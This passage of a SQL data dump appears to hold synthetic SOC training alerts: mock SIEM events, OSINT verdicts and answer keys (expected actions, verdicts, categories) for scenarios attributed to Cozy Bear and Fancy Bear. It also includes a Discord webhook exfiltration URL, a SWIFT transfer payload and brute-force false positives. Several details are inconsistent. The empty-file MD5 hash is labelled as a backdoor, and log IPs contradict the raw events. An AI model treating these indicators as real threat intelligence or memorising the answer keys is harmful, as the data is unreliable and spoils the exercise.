'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.269Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.2\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"FIN-SERV-09\\\",\\\"domain\\\":\\\"discordapp.com\\\",\\\"url\\\":\\\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1778, 'Cozy Bear Supply Chain Attack - Malicious Software Update', 'critical', 'Recorded Future', 'A software update from a compromised vendor was detected, containing a backdoor used by Cozy Bear to infiltrate financial systems.', 'Malware', 'T1195', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T01:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"hostname\":\"FIN-APP-03\",\"command_line\":\"C:\\\\Program Files\\\\Vendor\\\\Update\\\\updater.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cozy Bear backdoor\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Vendor\\\\Update\\\\updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable used in known supply chain attack\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The update process executed a binary with a hash linked to Cozy Bear\'s backdoor.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T01:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"hostname\\\":\\\"FIN-APP-03\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Vendor\\\\\\\\Update\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1779, 'Fancy Bear Fast-Flux DNS and DGA Domain Activity Detected', 'high', 'Anomali', 'Fancy Bear is using fast-flux DNS and DGA-generated domains to obscure command and control communications targeting financial institutions.', 'C2 Communication', 'T1568.003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T00:50:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.75\",\"dst_ip\":\"203.0.113.250\",\"hostname\":\"FIN-NET-05\",\"domain\":\"xyzt1234.com\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.250\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in fast-flux DNS activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xyzt1234.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"DGA domain used for C2 by Fancy Bear\"}}],\"expected_actions\":[\"block_domain\",\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The domain and IP are consistent with fast-flux and DGA activities linked to Fancy Bear.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.273Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T00:50:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.75\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"hostname\\\":\\\"FIN-NET-05\\\",\\\"domain\\\":\\\"xyzt1234.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1780, 'Unauthorized Login Attempts from Suspicious IP', 'medium', 'Anomali', 'Multiple failed login attempts detected on a financial system from a foreign IP address. This activity is consistent with brute force attempts.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:10:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.3.20\",\"username\":\"mjones\",\"hostname\":\"FIN-AUTH-01\",\"failed_attempts\":8}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP observed in multiple non-malicious login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjones\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username commonly targeted in brute force simulations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts were traced back to an internal security exercise, confirming benign activity.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:57:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:56:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:55:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-15T20:54:16.283Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:10:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"mjones\\\",\\\"hostname\\\":\\\"FIN-AUTH-01\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1781, 'Fancy Bear Exploiting SWIFT Network for Transaction Manipulation', 'critical', 'Recorded Future', 'Fancy Bear is suspected of manipulating financial transactions through SWIFT network vulnerabilities, leading to unauthorized money transfers.', 'Fraud', 'T1503', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"203.0.113.55\",\"username\":\"financeadmin\",\"hostname\":\"SWIFT-TRANS-01\",\"request_body\":\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in known SWIFT network attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious transaction pattern matching known fraud cases\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"fraud\",\"analysis_notes\":\"The network traffic indicates unauthorized transaction attempts via SWIFT, matching Fancy Bear\'s TTPs.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.30\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"username\\\":\\\"financeadmin\\\",\\\"hostname\\\":\\\"SWIFT-TRANS-01\\\",\\\"request_body\\\":\\\"TRANSFER 1000000 USD FROM ACC123 TO ACC456\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1782, 'Routine IT Vulnerability Scan Detected as Brute Force Attack', 'low', 'Splunk', 'A security alert was triggered by repeated login failures from an internal IP address. This activity was identified as a routine vulnerability scan by the IT department.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server01\",\"failed_attempts\":25}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for legitimate vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly used administrative account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is part of the internal network and the activity aligns with scheduled security scans.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:04:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:03:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:02:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-16T03:01:28.289Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
